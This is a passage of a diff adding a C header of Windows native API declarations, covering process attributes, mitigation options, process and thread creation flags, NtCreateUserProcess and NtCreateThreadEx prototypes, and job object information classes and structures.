TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_UMS_THREAD \ + PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_PROTECTION_LEVEL \ + PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_SECURE_PROCESS \ + PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_JOB_LIST \ + PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY \ + PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY \ + PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_WIN32K_FILTER \ + PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_BNO_ISOLATION \ + PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_DESKTOP_APP_POLICY \ + PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE) + +// end_rev + +// begin_private + +typedef struct _PS_ATTRIBUTE +{ + ULONG_PTR Attribute; + SIZE_T Size; + union + { + ULONG_PTR Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, * PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; + +typedef struct _PS_MEMORY_RESERVE +{ + PVOID ReserveAddress; + SIZE_T ReserveSize; +} PS_MEMORY_RESERVE, * PPS_MEMORY_RESERVE; + +typedef enum _PS_STD_HANDLE_STATE +{ + PsNeverDuplicate, + PsRequestDuplicate, // duplicate standard handles specified by PseudoHandleMask, and only if StdHandleSubsystemType matches the image subsystem + PsAlwaysDuplicate, // always duplicate standard handles + PsMaxStdHandleStates +} PS_STD_HANDLE_STATE; + +// begin_rev +#define PS_STD_INPUT_HANDLE 0x1 +#define PS_STD_OUTPUT_HANDLE 0x2 +#define PS_STD_ERROR_HANDLE 0x4 +// end_rev + +typedef struct _PS_STD_HANDLE_INFO +{ + union + { + ULONG Flags; + struct + { + ULONG StdHandleState : 2; // PS_STD_HANDLE_STATE + ULONG PseudoHandleMask : 3; // PS_STD_* + }; + }; + ULONG StdHandleSubsystemType; +} PS_STD_HANDLE_INFO, * PPS_STD_HANDLE_INFO; + +// private +typedef struct _PS_BNO_ISOLATION_PARAMETERS +{ + UNICODE_STRING IsolationPrefix; + ULONG HandleCount; + PVOID* Handles; + BOOLEAN IsolationEnabled; +} PS_BNO_ISOLATION_PARAMETERS, * PPS_BNO_ISOLATION_PARAMETERS; + +// private +typedef enum _PS_MITIGATION_OPTION +{ + PS_MITIGATION_OPTION_NX, + PS_MITIGATION_OPTION_SEHOP, + PS_MITIGATION_OPTION_FORCE_RELOCATE_IMAGES, + PS_MITIGATION_OPTION_HEAP_TERMINATE, + PS_MITIGATION_OPTION_BOTTOM_UP_ASLR, + PS_MITIGATION_OPTION_HIGH_ENTROPY_ASLR, + PS_MITIGATION_OPTION_STRICT_HANDLE_CHECKS, + PS_MITIGATION_OPTION_WIN32K_SYSTEM_CALL_DISABLE, + PS_MITIGATION_OPTION_EXTENSION_POINT_DISABLE, + PS_MITIGATION_OPTION_PROHIBIT_DYNAMIC_CODE, + PS_MITIGATION_OPTION_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_BLOCK_NON_MICROSOFT_BINARIES, + PS_MITIGATION_OPTION_FONT_DISABLE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_REMOTE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_LOW_LABEL, + PS_MITIGATION_OPTION_IMAGE_LOAD_PREFER_SYSTEM32, + PS_MITIGATION_OPTION_RETURN_FLOW_GUARD, + PS_MITIGATION_OPTION_LOADER_INTEGRITY_CONTINUITY, + PS_MITIGATION_OPTION_STRICT_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_RESTRICT_SET_THREAD_CONTEXT, + PS_MITIGATION_OPTION_ROP_STACKPIVOT, // since REDSTONE3 + PS_MITIGATION_OPTION_ROP_CALLER_CHECK, + PS_MITIGATION_OPTION_ROP_SIMEXEC, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER_PLUS, + PS_MITIGATION_OPTION_RESTRICT_CHILD_PROCESS_CREATION, + PS_MITIGATION_OPTION_IMPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_MODULE_TAMPERING_PROTECTION, + PS_MITIGATION_OPTION_RESTRICT_INDIRECT_BRANCH_PREDICTION, + PS_MITIGATION_OPTION_SPECULATIVE_STORE_BYPASS_DISABLE, // since REDSTONE5 + PS_MITIGATION_OPTION_ALLOW_DOWNGRADE_DYNAMIC_CODE_POLICY, + PS_MITIGATION_OPTION_CET_USER_SHADOW_STACKS, + PS_MITIGATION_OPTION_USER_CET_SET_CONTEXT_IP_VALIDATION, // since 21H1 + PS_MITIGATION_OPTION_BLOCK_NON_CET_BINARIES, + PS_MITIGATION_OPTION_CET_DYNAMIC_APIS_OUT_OF_PROC_ONLY, + PS_MITIGATION_OPTION_REDIRECTION_TRUST, // since 22H1 +} PS_MITIGATION_OPTION; + +// windows-internals-book:"Chapter 5" +typedef enum _PS_CREATE_STATE +{ + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, // Debugger specified + PsCreateSuccess, + PsCreateMaximumStates +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO +{ + SIZE_T Size; + PS_CREATE_STATE State; + union + { + // PsCreateInitialState + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + }; + }; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + // PsCreateFailOnSectionCreate + struct + { + HANDLE FileHandle; + } FailSection; + + // PsCreateFailExeFormat + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + // PsCreateFailExeName + struct + { + HANDLE IFEOKey; + } ExeName; + + // PsCreateSuccess + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; // from Image File Execution Options + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + }; + }; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; +} PS_CREATE_INFO, * PPS_CREATE_INFO; + +// end_private + +// begin_rev +#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 +#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 +#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 +#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 +#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 +#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 +// Extended PROCESS_CREATE_FLAGS_* +#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 +#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // ? +#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 +#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 +#define PROCESS_CREATE_FLAGS_EXTENDED_UNKNOWN 0x00000400 +// end_rev + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_* + _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_* + _In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_* + _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_* + _In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); +#endif + +// begin_rev +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // ? +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 +#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 // ? +#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 // ? +#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // ? +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 +// end_rev + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateThreadEx( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE + _In_opt_ PVOID Argument, + _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_* + _In_ SIZE_T ZeroBits, + _In_ SIZE_T StackSize, + _In_ SIZE_T MaximumStackSize, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateThreadEx( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE + _In_opt_ PVOID Argument, + _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_* + _In_ SIZE_T ZeroBits, + _In_ SIZE_T StackSize, + _In_ SIZE_T MaximumStackSize, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList +); +#endif + +// +// Job objects +// +#ifdef _KERNEL_MODE +typedef enum _JOBOBJECTINFOCLASS +{ + JobObjectBasicAccountingInformation, // JOBOBJECT_BASIC_ACCOUNTING_INFORMATION + JobObjectBasicLimitInformation, // JOBOBJECT_BASIC_LIMIT_INFORMATION + JobObjectBasicProcessIdList, // JOBOBJECT_BASIC_PROCESS_ID_LIST + JobObjectBasicUIRestrictions, // JOBOBJECT_BASIC_UI_RESTRICTIONS + JobObjectSecurityLimitInformation, // JOBOBJECT_SECURITY_LIMIT_INFORMATION + JobObjectEndOfJobTimeInformation = 6, // JOBOBJECT_END_OF_JOB_TIME_INFORMATION + JobObjectAssociateCompletionPortInformation, // JOBOBJECT_ASSOCIATE_COMPLETION_PORT + JobObjectBasicAndIoAccountingInformation, // JOBOBJECT_BASIC_AND_IO_ACCOUNTING_INFORMATION + JobObjectExtendedLimitInformation, // JOBOBJECT_EXTENDED_LIMIT_INFORMATION + JobObjectJobSetInformation, // JOBOBJECT_JOBSET_INFORMATION + JobObjectGroupInformation = 11, // USHORT + JobObjectNotificationLimitInformation, // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION + JobObjectLimitViolationInformation, // JOBOBJECT_LIMIT_VIOLATION_INFORMATION + JobObjectGroupInformationEx, // GROUP_AFFINITY (ARRAY) + JobObjectCpuRateControlInformation, // JOBOBJECT_CPU_RATE_CONTROL_INFORMATION + JobObjectCompletionFilter = 16, + JobObjectCompletionCounter, + JobObjectFreezeInformation, // JOBOBJECT_FREEZE_INFORMATION + JobObjectExtendedAccountingInformation, // JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION + JobObjectWakeInformation, // JOBOBJECT_WAKE_INFORMATION + JobObjectBackgroundInformation = 21, + JobObjectSchedulingRankBiasInformation, + JobObjectTimerVirtualizationInformation, + JobObjectCycleTimeNotification, + JobObjectClearEvent, + JobObjectInterferenceInformation = 26, // JOBOBJECT_INTERFERENCE_INFORMATION + JobObjectClearPeakJobMemoryUsed, + JobObjectMemoryUsageInformation, // JOBOBJECT_MEMORY_USAGE_INFORMATION // JOBOBJECT_MEMORY_USAGE_INFORMATION_V2 + JobObjectSharedCommit, + JobObjectContainerId, + JobObjectIoRateControlInformation = 31, + JobObjectNetRateControlInformation, // JOBOBJECT_NET_RATE_CONTROL_INFORMATION + JobObjectNotificationLimitInformation2, // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION_2 + JobObjectLimitViolationInformation2, // JOBOBJECT_LIMIT_VIOLATION_INFORMATION_2 + JobObjectCreateSilo, + JobObjectSiloBasicInformation = 36, // SILOOBJECT_BASIC_INFORMATION + JobObjectSiloRootDirectory, // SILOOBJECT_ROOT_DIRECTORY + JobObjectServerSiloBasicInformation, // SERVERSILO_BASIC_INFORMATION + JobObjectServerSiloUserSharedData, // SILO_USER_SHARED_DATA + JobObjectServerSiloInitialize, + JobObjectServerSiloRunningState = 41, + JobObjectIoAttribution, + JobObjectMemoryPartitionInformation, + JobObjectContainerTelemetryId, + JobObjectSiloSystemRoot, + JobObjectEnergyTrackingState = 46, // JOBOBJECT_ENERGY_TRACKING_STATE + JobObjectThreadImpersonationInformation, + JobObjectIoPriorityLimit, + JobObjectPagePriorityLimit, + MaxJobObjectInfoClass +}JOBOBJECTINFOCLASS; +#else +// Note: We don't use an enum since it conflicts with the Windows SDK. +#define JobObjectBasicAccountingInformation ((_JOBOBJECTINFOCLASS)1 )// JOBOBJECT_BASIC_ACCOUNTING_INFORMATION +#define JobObjectBasicLimitInformation ((_JOBOBJECTINFOCLASS)2 )// JOBOBJECT_BASIC_LIMIT_INFORMATION +#define JobObjectBasicProcessIdList ((_JOBOBJECTINFOCLASS)3 )// JOBOBJECT_BASIC_PROCESS_ID_LIST +#define JobObjectBasicUIRestrictions ((_JOBOBJECTINFOCLASS)4 )// JOBOBJECT_BASIC_UI_RESTRICTIONS +#define JobObjectSecurityLimitInformation ((_JOBOBJECTINFOCLASS)5 )// JOBOBJECT_SECURITY_LIMIT_INFORMATION +#define JobObjectEndOfJobTimeInformation ((_JOBOBJECTINFOCLASS)6 )// JOBOBJECT_END_OF_JOB_TIME_INFORMATION +#define JobObjectAssociateCompletionPortInformation ((_JOBOBJECTINFOCLASS)7 )// JOBOBJECT_ASSOCIATE_COMPLETION_PORT +#define JobObjectBasicAndIoAccountingInformation ((_JOBOBJECTINFOCLASS)8 )// JOBOBJECT_BASIC_AND_IO_ACCOUNTING_INFORMATION +#define JobObjectExtendedLimitInformation ((_JOBOBJECTINFOCLASS)9 )// JOBOBJECT_EXTENDED_LIMIT_INFORMATION +#define JobObjectJobSetInformation ((_JOBOBJECTINFOCLASS)10) // JOBOBJECT_JOBSET_INFORMATION +#define JobObjectGroupInformation ((_JOBOBJECTINFOCLASS)11) // USHORT +#define JobObjectNotificationLimitInformation ((_JOBOBJECTINFOCLASS)12) // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION +#define JobObjectLimitViolationInformation ((_JOBOBJECTINFOCLASS)13) // JOBOBJECT_LIMIT_VIOLATION_INFORMATION +#define JobObjectGroupInformationEx ((_JOBOBJECTINFOCLASS)14) // GROUP_AFFINITY (ARRAY) +#define JobObjectCpuRateControlInformation ((_JOBOBJECTINFOCLASS)15) // JOBOBJECT_CPU_RATE_CONTROL_INFORMATION +#define JobObjectCompletionFilter ((_JOBOBJECTINFOCLASS)16) +#define JobObjectCompletionCounter ((_JOBOBJECTINFOCLASS)17) +#define JobObjectFreezeInformation ((_JOBOBJECTINFOCLASS)18) // JOBOBJECT_FREEZE_INFORMATION +#define JobObjectExtendedAccountingInformation ((_JOBOBJECTINFOCLASS)19) // JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION +#define JobObjectWakeInformation ((_JOBOBJECTINFOCLASS)20) // JOBOBJECT_WAKE_INFORMATION +#define JobObjectBackgroundInformation ((_JOBOBJECTINFOCLASS)21) +#define JobObjectSchedulingRankBiasInformation ((_JOBOBJECTINFOCLASS)22) +#define JobObjectTimerVirtualizationInformation ((_JOBOBJECTINFOCLASS)23) +#define JobObjectCycleTimeNotification ((_JOBOBJECTINFOCLASS)24) +#define JobObjectClearEvent ((_JOBOBJECTINFOCLASS)25) +#define JobObjectInterferenceInformation ((_JOBOBJECTINFOCLASS)26) // JOBOBJECT_INTERFERENCE_INFORMATION +#define JobObjectClearPeakJobMemoryUsed ((_JOBOBJECTINFOCLASS)27) +#define JobObjectMemoryUsageInformation ((_JOBOBJECTINFOCLASS)28) // JOBOBJECT_MEMORY_USAGE_INFORMATION // JOBOBJECT_MEMORY_USAGE_INFORMATION_V2 +#define JobObjectSharedCommit ((_JOBOBJECTINFOCLASS)29) +#define JobObjectContainerId ((_JOBOBJECTINFOCLASS)30) +#define JobObjectIoRateControlInformation ((_JOBOBJECTINFOCLASS)31) +#define JobObjectNetRateControlInformation ((_JOBOBJECTINFOCLASS)32) // JOBOBJECT_NET_RATE_CONTROL_INFORMATION +#define JobObjectNotificationLimitInformation2 ((_JOBOBJECTINFOCLASS)33) // JOBOBJECT_NOTIFICATION_LIMIT_INFORMATION_2 +#define JobObjectLimitViolationInformation2 ((_JOBOBJECTINFOCLASS)34) // JOBOBJECT_LIMIT_VIOLATION_INFORMATION_2 +#define JobObjectCreateSilo ((_JOBOBJECTINFOCLASS)35) +#define JobObjectSiloBasicInformation ((_JOBOBJECTINFOCLASS)36) // SILOOBJECT_BASIC_INFORMATION +#define JobObjectSiloRootDirectory ((_JOBOBJECTINFOCLASS)37) // SILOOBJECT_ROOT_DIRECTORY +#define JobObjectServerSiloBasicInformation ((_JOBOBJECTINFOCLASS)38) // SERVERSILO_BASIC_INFORMATION +#define JobObjectServerSiloUserSharedData ((_JOBOBJECTINFOCLASS)39) // SILO_USER_SHARED_DATA +#define JobObjectServerSiloInitialize ((_JOBOBJECTINFOCLASS)40) +#define JobObjectServerSiloRunningState ((_JOBOBJECTINFOCLASS)41) +#define JobObjectIoAttribution ((_JOBOBJECTINFOCLASS)42) +#define JobObjectMemoryPartitionInformation ((_JOBOBJECTINFOCLASS)43) +#define JobObjectContainerTelemetryId ((_JOBOBJECTINFOCLASS)44) +#define JobObjectSiloSystemRoot ((_JOBOBJECTINFOCLASS)45) +#define JobObjectEnergyTrackingState ((_JOBOBJECTINFOCLASS)46) // JOBOBJECT_ENERGY_TRACKING_STATE +#define JobObjectThreadImpersonationInformation ((_JOBOBJECTINFOCLASS)47) +#define JobObjectIoPriorityLimit ((_JOBOBJECTINFOCLASS)48) +#define JobObjectPagePriorityLimit ((_JOBOBJECTINFOCLASS)49) +#define MaxJobObjectInfoClass ((_JOBOBJECTINFOCLASS)50) +#endif // _KERNEL_MODE + +#ifdef _KERNEL_MODE +typedef struct _JOBOBJECT_BASIC_ACCOUNTING_INFORMATION { + LARGE_INTEGER TotalUserTime; + LARGE_INTEGER TotalKernelTime; + LARGE_INTEGER ThisPeriodTotalUserTime; + LARGE_INTEGER ThisPeriodTotalKernelTime; + UINT32 TotalPageFaultCount; + UINT32 TotalProcesses; + UINT32 ActiveProcesses; + UINT32 TotalTerminatedProcesses; +} JOBOBJECT_BASIC_ACCOUNTING_INFORMATION, * PJOBOBJECT_BASIC_ACCOUNTING_INFORMATION; +#endif // _KERNEL_MODE + +// private +typedef struct _JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION +{ + JOBOBJECT_BASIC_ACCOUNTING_INFORMATION BasicInfo; + IO_COUNTERS IoInfo; + PROCESS_DISK_COUNTERS DiskIoInfo; + ULONG64 ContextSwitches; + LARGE_INTEGER TotalCycleTime; + ULONG64 ReadyTime; + PROCESS_ENERGY_VALUES EnergyValues; +} JOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION, * PJOBOBJECT_EXTENDED_ACCOUNTING_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_INFORMATION +{ + HANDLE NotificationChannel; + ULONG64 WakeCounters[7]; +} JOBOBJECT_WAKE_INFORMATION, * PJOBOBJECT_WAKE_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_INFORMATION_V1 +{ + HANDLE NotificationChannel; + ULONG64 WakeCounters[4]; +} JOBOBJECT_WAKE_INFORMATION_V1, * PJOBOBJECT_WAKE_INFORMATION_V1; + +// private +typedef struct _JOBOBJECT_INTERFERENCE_INFORMATION +{ + ULONG64 Count; +} JOBOBJECT_INTERFERENCE_INFORMATION, * PJOBOBJECT_INTERFERENCE_INFORMATION; + +// private +typedef struct _JOBOBJECT_WAKE_FILTER +{ + ULONG HighEdgeFilter; + ULONG LowEdgeFilter; +} JOBOBJECT_WAKE_FILTER, * PJOBOBJECT_WAKE_FILTER; + +// private +typedef struct _JOBOBJECT_FREEZE_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG FreezeOperation : 1; + ULONG FilterOperation : 1; + ULONG SwapOperation : 1; + ULONG Reserved : 29; + }; + }; + BOOLEAN Freeze; + BOOLEAN Swap; + UCHAR Reserved0[2]; + JOBOBJECT_WAKE_FILTER WakeFilter; +} JOBOBJECT_FREEZE_INFORMATION, * PJOBOBJECT_FREEZE_INFORMATION; + +// private +typedef struct _JOBOBJECT_MEMORY_USAGE_INFORMATION +{ + ULONG64 JobMemory; + ULONG64 PeakJobMemoryUsed; +} JOBOBJECT_MEMORY_USAGE_INFORMATION, * PJOBOBJECT_MEMORY_USAGE_INFORMATION; + +// private +typedef struct _JOBOBJECT_MEMORY_USAGE_INFORMATION_V2 +{ + JOBOBJECT_MEMORY_USAGE_INFORMATION BasicInfo; + ULONG64 JobSharedMemory; + ULONG64 Reserved[2]; +} JOBOBJECT_MEMORY_USAGE_INFORMATION_V2, * PJOBOBJECT_MEMORY_USAGE_INFORMATION_V2; + +#if (NTDDI_VERSION != NTDDI_WIN10_RS1) +// private +// +// Define data shared between kernel and user mode per each Silo. +// +// N.B. User mode has read only access to this data +// +typedef struct _SILO_USER_SHARED_DATA +{ + ULONG64 ServiceSessionId; + ULONG ActiveConsoleId; + LONGLONG ConsoleSessionForegroundProcessId; + NT_PRODUCT_TYPE NtProductType; + ULONG SuiteMask; + ULONG SharedUserSessionId; + BOOLEAN IsMultiSessionSku; + WCHAR NtSystemRoot[260]; + USHORT UserModeGlobalLogger[16]; +} SILO_USER_SHARED_DATA, * PSILO_USER_SHARED_DATA; +#endif // WDK_NTDDI_VERSION != NTDDI_WIN10_RS1 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +// private +typedef struct _SILOOBJECT_ROOT_DIRECTORY +{ + ULONG ControlFlags; + UNICODE_STRING Path; +} SILOOBJECT_ROOT_DIRECTORY, * PSILOOBJECT_ROOT_DIRECTORY; +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS1 + +// private +typedef struct _JOBOBJECT_ENERGY_TRACKING_STATE +{ + ULONG64 Value; + ULONG UpdateMask; + ULONG DesiredState; +} JOBOBJECT_ENERGY_TRACKING_STATE, * PJOBOBJECT_ENERGY_TRACKING_STATE; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAssignProcessToJobObject( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAssignProcessToJobObject( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTerminateJobObject( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTerminateJobObject( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtIsProcessInJob( + _In_ HANDLE ProcessHandle, + _In_opt_ HANDLE JobHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwIsProcessInJob( + _In_ HANDLE ProcessHandle, + _In_opt_ HANDLE JobHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS 